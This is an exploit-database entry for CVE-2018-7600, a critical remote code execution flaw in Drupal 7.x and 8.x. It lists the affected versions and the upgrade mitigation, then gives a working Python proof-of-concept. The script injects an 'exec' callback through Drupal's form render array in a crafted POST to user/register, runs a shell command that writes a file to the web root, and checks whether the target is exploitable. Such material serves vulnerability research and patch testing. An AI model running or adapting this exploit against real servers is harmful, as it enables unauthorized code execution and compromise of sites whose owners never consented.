Proof-Of-Concept for CVE-2018-7600

vendor:

Drupal

by:

Vitalii Rudnykh

9.8

CVSS

CRITICAL

Remote Code Execution

CWE

Product Name: Drupal

Affected Version From: Drupal 7.x and 8.x

Affected Version To: Drupal 8.5.1 and 7.58

Patch Exists: YES

Related CWE: CVE-2018-7600

CPE: a:drupal:drupal

Metasploit: https://www.rapid7.com/db/vulnerabilities/debian-cve-2018-7600/, https://www.rapid7.com/db/vulnerabilities/drupal-cve-2018-7600/, https://www.rapid7.com/db/vulnerabilities/ubuntu-cve-2018-7600/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2018-7600/

Other Scripts: N/A

Platforms Tested: None

2018

Proof-Of-Concept for CVE-2018-7600

This exploit is a proof-of-concept for CVE-2018-7600, a vulnerability in Drupal 7.x and 8.x. It allows an attacker to execute arbitrary code on the target system by sending a specially crafted request to the target server. The exploit works by sending a POST request to the target server with a specially crafted payload. The payload contains a command to execute arbitrary code, which is then executed on the target system.

Mitigation:

Upgrade to Drupal 8.5.1 or later, or Drupal 7.58 or later.

Source

Exploit-DB raw data:

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')